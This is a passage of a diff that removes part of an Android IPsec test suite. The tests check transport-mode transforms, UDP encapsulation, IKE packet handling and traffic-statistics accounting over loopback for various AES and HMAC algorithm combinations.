-        // Transforms should not be removed from the sockets, otherwise FIN packets will be sent
-        //     unencrypted.
-        // This test also unfortunately happens to rely on a nuance of the cleanup order. By
-        //     keeping the policy on the socket, but removing the SA before lingering FIN packets
-        //     are sent (at an undetermined later time), the FIN packets are dropped. Without this,
-        //     we run into all kinds of headaches trying to test data accounting (unsolicited
-        //     packets mysteriously appearing and messing up our counters)
-        // The right way to close sockets is to set SO_LINGER to ensure synchronous closure,
-        //     closing the sockets, and then closing the transforms. See documentation for the
-        //     Socket or FileDescriptor flavors of applyTransportModeTransform() in IpSecManager
-        //     for more details.
-
-        client.close();
-        accepted.close();
-    }
-
-    /*
-     * Alloc outbound SPI
-     * Alloc inbound SPI
-     * Create transport mode transform
-     * open socket
-     * apply transform to socket
-     * send data on socket
-     * release transform
-     * send data (expect exception)
-     */
-    @Test
-    public void testCreateTransform() throws Exception {
-        InetAddress localAddr = InetAddress.getByName(IPV4_LOOPBACK);
-        IpSecManager.SecurityParameterIndex spi =
-                mISM.allocateSecurityParameterIndex(localAddr);
-
-        IpSecTransform transform =
-                new IpSecTransform.Builder(InstrumentationRegistry.getContext())
-                        .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
-                        .setAuthentication(
-                                new IpSecAlgorithm(
-                                        IpSecAlgorithm.AUTH_HMAC_SHA256,
-                                        AUTH_KEY,
-                                        AUTH_KEY.length * 8))
-                        .buildTransportModeTransform(localAddr, spi);
-
-        final boolean [][] applyInApplyOut = {
-                {false, false}, {false, true}, {true, false}, {true,true}};
-        final byte[] data = new String("Best test data ever!").getBytes("UTF-8");
-        final DatagramPacket outPacket = new DatagramPacket(data, 0, data.length, localAddr, 0);
-
-        byte[] in = new byte[data.length];
-        DatagramPacket inPacket = new DatagramPacket(in, in.length);
-        DatagramSocket localSocket;
-        int localPort;
-
-        for(boolean[] io : applyInApplyOut) {
-            boolean applyIn = io[0];
-            boolean applyOut = io[1];
-            // Bind localSocket to a random available port.
-            localSocket = new DatagramSocket(0);
-            localPort = localSocket.getLocalPort();
-            localSocket.setSoTimeout(200);
-            outPacket.setPort(localPort);
-            if (applyIn) {
-                mISM.applyTransportModeTransform(
-                        localSocket, IpSecManager.DIRECTION_IN, transform);
-            }
-            if (applyOut) {
-                mISM.applyTransportModeTransform(
-                        localSocket, IpSecManager.DIRECTION_OUT, transform);
-            }
-            if (applyIn == applyOut) {
-                localSocket.send(outPacket);
-                localSocket.receive(inPacket);
-                assertTrue("Encapsulated data did not match.",
-                        Arrays.equals(outPacket.getData(), inPacket.getData()));
-                mISM.removeTransportModeTransforms(localSocket);
-                localSocket.close();
-            } else {
-                try {
-                    localSocket.send(outPacket);
-                    localSocket.receive(inPacket);
-                } catch (IOException e) {
-                    continue;
-                } finally {
-                    mISM.removeTransportModeTransforms(localSocket);
-                    localSocket.close();
-                }
-                // FIXME: This check is disabled because sockets currently receive data
-                // if there is a valid SA for decryption, even when the input policy is
-                // not applied to a socket.
-                //  fail("Data IO should fail on asymmetrical transforms! + Input="
-                //          + applyIn + " Output=" + applyOut);
-            }
-        }
-        transform.close();
-    }
-
-    /** Snapshot of TrafficStats as of initStatsChecker call for later comparisons */
-    private static class StatsChecker {
-        private static final double ERROR_MARGIN_BYTES = 1.05;
-        private static final double ERROR_MARGIN_PKTS = 1.05;
-        private static final int MAX_WAIT_TIME_MILLIS = 1000;
-
-        private static long uidTxBytes;
-        private static long uidRxBytes;
-        private static long uidTxPackets;
-        private static long uidRxPackets;
-
-        private static long ifaceTxBytes;
-        private static long ifaceRxBytes;
-        private static long ifaceTxPackets;
-        private static long ifaceRxPackets;
-
-        /**
-         * This method counts the number of incoming packets, polling intermittently up to
-         * MAX_WAIT_TIME_MILLIS.
-         */
-        private static void waitForNumPackets(int numPackets) throws Exception {
-            long uidTxDelta = 0;
-            long uidRxDelta = 0;
-            for (int i = 0; i < 100; i++) {
-                uidTxDelta = TrafficStats.getUidTxPackets(Os.getuid()) - uidTxPackets;
-                uidRxDelta = TrafficStats.getUidRxPackets(Os.getuid()) - uidRxPackets;
-
-                // TODO: Check Rx packets as well once kernel security policy bug is fixed.
-                // (b/70635417)
-                if (uidTxDelta >= numPackets) {
-                    return;
-                }
-                Thread.sleep(MAX_WAIT_TIME_MILLIS / 100);
-            }
-            fail(
-                    "Not enough traffic was recorded to satisfy the provided conditions: wanted "
-                            + numPackets
-                            + ", got "
-                            + uidTxDelta
-                            + " tx and "
-                            + uidRxDelta
-                            + " rx packets");
-        }
-
-        private static void assertUidStatsDelta(
-                int expectedTxByteDelta,
-                int expectedTxPacketDelta,
-                int minRxByteDelta,
-                int maxRxByteDelta,
-                int expectedRxPacketDelta) {
-            long newUidTxBytes = TrafficStats.getUidTxBytes(Os.getuid());
-            long newUidRxBytes = TrafficStats.getUidRxBytes(Os.getuid());
-            long newUidTxPackets = TrafficStats.getUidTxPackets(Os.getuid());
-            long newUidRxPackets = TrafficStats.getUidRxPackets(Os.getuid());
-
-            assertEquals(expectedTxByteDelta, newUidTxBytes - uidTxBytes);
-            assertTrue(
-                    newUidRxBytes - uidRxBytes >= minRxByteDelta
-                            && newUidRxBytes - uidRxBytes <= maxRxByteDelta);
-            assertEquals(expectedTxPacketDelta, newUidTxPackets - uidTxPackets);
-            assertEquals(expectedRxPacketDelta, newUidRxPackets - uidRxPackets);
-        }
-
-        private static void assertIfaceStatsDelta(
-                int expectedTxByteDelta,
-                int expectedTxPacketDelta,
-                int expectedRxByteDelta,
-                int expectedRxPacketDelta)
-                throws IOException {
-            long newIfaceTxBytes = TrafficStats.getLoopbackTxBytes();
-            long newIfaceRxBytes = TrafficStats.getLoopbackRxBytes();
-            long newIfaceTxPackets = TrafficStats.getLoopbackTxPackets();
-            long newIfaceRxPackets = TrafficStats.getLoopbackRxPackets();
-
-            // Check that iface stats are within an acceptable range; data might be sent
-            // on the local interface by other apps.
-            assertApproxEquals(
-                    ifaceTxBytes, newIfaceTxBytes, expectedTxByteDelta, ERROR_MARGIN_BYTES);
-            assertApproxEquals(
-                    ifaceRxBytes, newIfaceRxBytes, expectedRxByteDelta, ERROR_MARGIN_BYTES);
-            assertApproxEquals(
-                    ifaceTxPackets, newIfaceTxPackets, expectedTxPacketDelta, ERROR_MARGIN_PKTS);
-            assertApproxEquals(
-                    ifaceRxPackets, newIfaceRxPackets, expectedRxPacketDelta, ERROR_MARGIN_PKTS);
-        }
-
-        private static void assertApproxEquals(
-                long oldStats, long newStats, int expectedDelta, double errorMargin) {
-            assertTrue(expectedDelta <= newStats - oldStats);
-            assertTrue((expectedDelta * errorMargin) > newStats - oldStats);
-        }
-
-        private static void initStatsChecker() throws Exception {
-            uidTxBytes = TrafficStats.getUidTxBytes(Os.getuid());
-            uidRxBytes = TrafficStats.getUidRxBytes(Os.getuid());
-            uidTxPackets = TrafficStats.getUidTxPackets(Os.getuid());
-            uidRxPackets = TrafficStats.getUidRxPackets(Os.getuid());
-
-            ifaceTxBytes = TrafficStats.getLoopbackTxBytes();
-            ifaceRxBytes = TrafficStats.getLoopbackRxBytes();
-            ifaceTxPackets = TrafficStats.getLoopbackTxPackets();
-            ifaceRxPackets = TrafficStats.getLoopbackRxPackets();
-        }
-    }
-
-    private int getTruncLenBits(IpSecAlgorithm authOrAead) {
-        return authOrAead == null ? 0 : authOrAead.getTruncationLengthBits();
-    }
-
-    private int getIvLen(IpSecAlgorithm cryptOrAead) {
-        if (cryptOrAead == null) { return 0; }
-
-        switch (cryptOrAead.getName()) {
-            case IpSecAlgorithm.CRYPT_AES_CBC:
-                return AES_CBC_IV_LEN;
-            case IpSecAlgorithm.AUTH_CRYPT_AES_GCM:
-                return AES_GCM_IV_LEN;
-            default:
-                throw new IllegalArgumentException(
-                        "IV length unknown for algorithm" + cryptOrAead.getName());
-        }
-    }
-
-    private int getBlkSize(IpSecAlgorithm cryptOrAead) {
-        // RFC 4303, section 2.4 states that ciphertext plus pad_len, next_header fields must
-        //     terminate on a 4-byte boundary. Thus, the minimum ciphertext block size is 4 bytes.
-        if (cryptOrAead == null) { return 4; }
-
-        switch (cryptOrAead.getName()) {
-            case IpSecAlgorithm.CRYPT_AES_CBC:
-                return AES_CBC_BLK_SIZE;
-            case IpSecAlgorithm.AUTH_CRYPT_AES_GCM:
-                return AES_GCM_BLK_SIZE;
-            default:
-                throw new IllegalArgumentException(
-                        "Blk size unknown for algorithm" + cryptOrAead.getName());
-        }
-    }
-
-    public void checkTransform(
-            int protocol,
-            String localAddress,
-            IpSecAlgorithm crypt,
-            IpSecAlgorithm auth,
-            IpSecAlgorithm aead,
-            boolean doUdpEncap,
-            int sendCount,
-            boolean useJavaSockets)
-            throws Exception {
-        StatsChecker.initStatsChecker();
-        InetAddress local = InetAddress.getByName(localAddress);
-
-        try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket();
-                IpSecManager.SecurityParameterIndex spi =
-                        mISM.allocateSecurityParameterIndex(local)) {
-
-            IpSecTransform.Builder transformBuilder =
-                    new IpSecTransform.Builder(InstrumentationRegistry.getContext());
-            if (crypt != null) {
-                transformBuilder.setEncryption(crypt);
-            }
-            if (auth != null) {
-                transformBuilder.setAuthentication(auth);
-            }
-            if (aead != null) {
-                transformBuilder.setAuthenticatedEncryption(aead);
-            }
-
-            if (doUdpEncap) {
-                transformBuilder =
-                        transformBuilder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
-            }
-
-            int ipHdrLen = local instanceof Inet6Address ? IP6_HDRLEN : IP4_HDRLEN;
-            int transportHdrLen = 0;
-            int udpEncapLen = doUdpEncap ? UDP_HDRLEN : 0;
-
-            try (IpSecTransform transform =
-                        transformBuilder.buildTransportModeTransform(local, spi)) {
-                if (protocol == IPPROTO_TCP) {
-                    transportHdrLen = TCP_HDRLEN_WITH_TIMESTAMP_OPT;
-                    checkTcp(transform, local, sendCount, useJavaSockets);
-                } else if (protocol == IPPROTO_UDP) {
-                    transportHdrLen = UDP_HDRLEN;
-
-                    // TODO: Also check connected udp.
-                    checkUnconnectedUdp(transform, local, sendCount, useJavaSockets);
-                } else {
-                    throw new IllegalArgumentException("Invalid protocol");
-                }
-            }
-
-            checkStatsChecker(
-                    protocol,
-                    ipHdrLen,
-                    transportHdrLen,
-                    udpEncapLen,
-                    sendCount,
-                    getIvLen(crypt != null ? crypt : aead),
-                    getBlkSize(crypt != null ? crypt : aead),
-                    getTruncLenBits(auth != null ? auth : aead));
-        }
-    }
-
-    private void checkStatsChecker(
-            int protocol,
-            int ipHdrLen,
-            int transportHdrLen,
-            int udpEncapLen,
-            int sendCount,
-            int ivLen,
-            int blkSize,
-            int truncLenBits)
-            throws Exception {
-
-        int innerPacketSize = TEST_DATA.length + transportHdrLen + ipHdrLen;
-        int outerPacketSize =
-                PacketUtils.calculateEspPacketSize(
-                                TEST_DATA.length + transportHdrLen, ivLen, blkSize, truncLenBits)
-                        + udpEncapLen
-                        + ipHdrLen;
-
-        int expectedOuterBytes = outerPacketSize * sendCount;
-        int expectedInnerBytes = innerPacketSize * sendCount;
-        int expectedPackets = sendCount;
-
-        // Each run sends two packets, one in each direction.
-        sendCount *= 2;
-        expectedOuterBytes *= 2;
-        expectedInnerBytes *= 2;
-        expectedPackets *= 2;
-
-        // Add TCP ACKs for data packets
-        if (protocol == IPPROTO_TCP) {
-            int encryptedTcpPktSize =
-                    PacketUtils.calculateEspPacketSize(
-                            TCP_HDRLEN_WITH_TIMESTAMP_OPT, ivLen, blkSize, truncLenBits);
-
-            // Add data packet ACKs
-            expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
-            expectedInnerBytes += (TCP_HDRLEN_WITH_TIMESTAMP_OPT + ipHdrLen) * (sendCount);
-            expectedPackets += sendCount;
-        }
-
-        StatsChecker.waitForNumPackets(expectedPackets);
-
-        // eBPF only counts inner packets, whereas xt_qtaguid counts outer packets. Allow both
-        StatsChecker.assertUidStatsDelta(
-                expectedOuterBytes,
-                expectedPackets,
-                expectedInnerBytes,
-                expectedOuterBytes,
-                expectedPackets);
-
-        // Unreliable at low numbers due to potential interference from other processes.
-        if (sendCount >= 1000) {
-            StatsChecker.assertIfaceStatsDelta(
-                    expectedOuterBytes, expectedPackets, expectedOuterBytes, expectedPackets);
-        }
-    }
-
-    private void checkIkePacket(
-            NativeUdpSocket wrappedEncapSocket, InetAddress localAddr) throws Exception {
-        StatsChecker.initStatsChecker();
-
-        try (NativeUdpSocket remoteSocket = new NativeUdpSocket(getBoundUdpSocket(localAddr))) {
-
-            // Append IKE/ESP header - 4 bytes of SPI, 4 bytes of seq number, all zeroed out
-            // If the first four bytes are zero, assume non-ESP (IKE traffic)
-            byte[] dataWithEspHeader = new byte[TEST_DATA.length + 8];
-            System.arraycopy(TEST_DATA, 0, dataWithEspHeader, 8, TEST_DATA.length);
-
-            // Send the IKE packet from remoteSocket to wrappedEncapSocket. Since IKE packets
-            // are multiplexed over the socket, we expect them to appear on the encap socket
-            // (as opposed to being decrypted and received on the non-encap socket)
-            remoteSocket.sendTo(dataWithEspHeader, localAddr, wrappedEncapSocket.getPort());
-            byte[] in = wrappedEncapSocket.receive();
-            assertArrayEquals("Encapsulated data did not match.", dataWithEspHeader, in);
-
-            // Also test that the IKE socket can send data out.
-            wrappedEncapSocket.sendTo(dataWithEspHeader, localAddr, remoteSocket.getPort());
-            in = remoteSocket.receive();
-            assertArrayEquals("Encapsulated data did not match.", dataWithEspHeader, in);
-
-            // Calculate expected packet sizes. Always use IPv4 header, since our kernels only
-            // guarantee support of UDP encap on IPv4.
-            int expectedNumPkts = 2;
-            int expectedPacketSize =
-                    expectedNumPkts * (dataWithEspHeader.length + UDP_HDRLEN + IP4_HDRLEN);
-
-            StatsChecker.waitForNumPackets(expectedNumPkts);
-            StatsChecker.assertUidStatsDelta(
-                    expectedPacketSize,
-                    expectedNumPkts,
-                    expectedPacketSize,
-                    expectedPacketSize,
-                    expectedNumPkts);
-            StatsChecker.assertIfaceStatsDelta(
-                    expectedPacketSize, expectedNumPkts, expectedPacketSize, expectedNumPkts);
-        }
-    }
-
-    @Test
-    public void testIkeOverUdpEncapSocket() throws Exception {
-        // IPv6 not supported for UDP-encap-ESP
-        InetAddress local = InetAddress.getByName(IPV4_LOOPBACK);
-        try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
-            NativeUdpSocket wrappedEncapSocket =
-                    new NativeUdpSocket(encapSocket.getFileDescriptor());
-            checkIkePacket(wrappedEncapSocket, local);
-
-            // Now try with a transform applied to a socket using this Encap socket
-            IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-            IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-
-            try (IpSecManager.SecurityParameterIndex spi =
-                            mISM.allocateSecurityParameterIndex(local);
-                    IpSecTransform transform =
-                            new IpSecTransform.Builder(InstrumentationRegistry.getContext())
-                                    .setEncryption(crypt)
-                                    .setAuthentication(auth)
-                                    .setIpv4Encapsulation(encapSocket, encapSocket.getPort())
-                                    .buildTransportModeTransform(local, spi);
-                    JavaUdpSocket localSocket = new JavaUdpSocket(local)) {
-                applyTransformBidirectionally(mISM, transform, localSocket);
-
-                checkIkePacket(wrappedEncapSocket, local);
-            }
-        }
-    }
-
-    // TODO: Check IKE over ESP sockets (IPv4, IPv6) - does this need SOCK_RAW?
-
-    /* TODO: Re-enable these when policy matcher works for reflected packets
-     *
-     * The issue here is that A sends to B, and everything is new; therefore PREROUTING counts
-     * correctly. But it appears that the security path is not cleared afterwards, thus when A
-     * sends an ACK back to B, the policy matcher flags it as a "IPSec" packet. See b/70635417
-     */
-
-    // public void testInterfaceCountersTcp4() throws Exception {
-    //     IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-    //     IpSecAlgorithm auth = new IpSecAlgorithm(
-    //             IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-    //     checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, false, 1000);
-    // }
-
-    // public void testInterfaceCountersTcp6() throws Exception {
-    //     IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-    //     IpSecAlgorithm auth = new IpSecAlgorithm(
-    //             IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-    //     checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, false, 1000);
-    // }
-
-    // public void testInterfaceCountersTcp4UdpEncap() throws Exception {
-    //     IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-    //     IpSecAlgorithm auth =
-    //             new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-    //     checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, true, 1000);
-    // }
-
-    @Test
-    public void testInterfaceCountersUdp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1000, false);
-    }
-
-    @Test
-    public void testInterfaceCountersUdp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1000, false);
-    }
-
-    @Test
-    public void testInterfaceCountersUdp4UdpEncap() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1000, false);
-    }
-
-    @Test
-    public void testAesCbcHmacMd5Tcp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacMd5Tcp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacMd5Udp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacMd5Udp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha1Tcp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha1Tcp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha1Udp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha1Udp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha256Tcp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha256Tcp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha256Udp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha256Udp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha384Tcp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha384Tcp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha384Udp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha384Udp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha512Tcp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha512Tcp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha512Udp4() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesCbcHmacSha512Udp6() throws Exception {
-        IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
-        IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, false);
-        checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm64Tcp4() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm64Tcp6() throws Exception {
-        IpSecAlgorithm authCrypt =
-                new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, false);
-        checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
-    }
-
-    @Test
-    public void testAesGcm64Udp4() throws Exception {
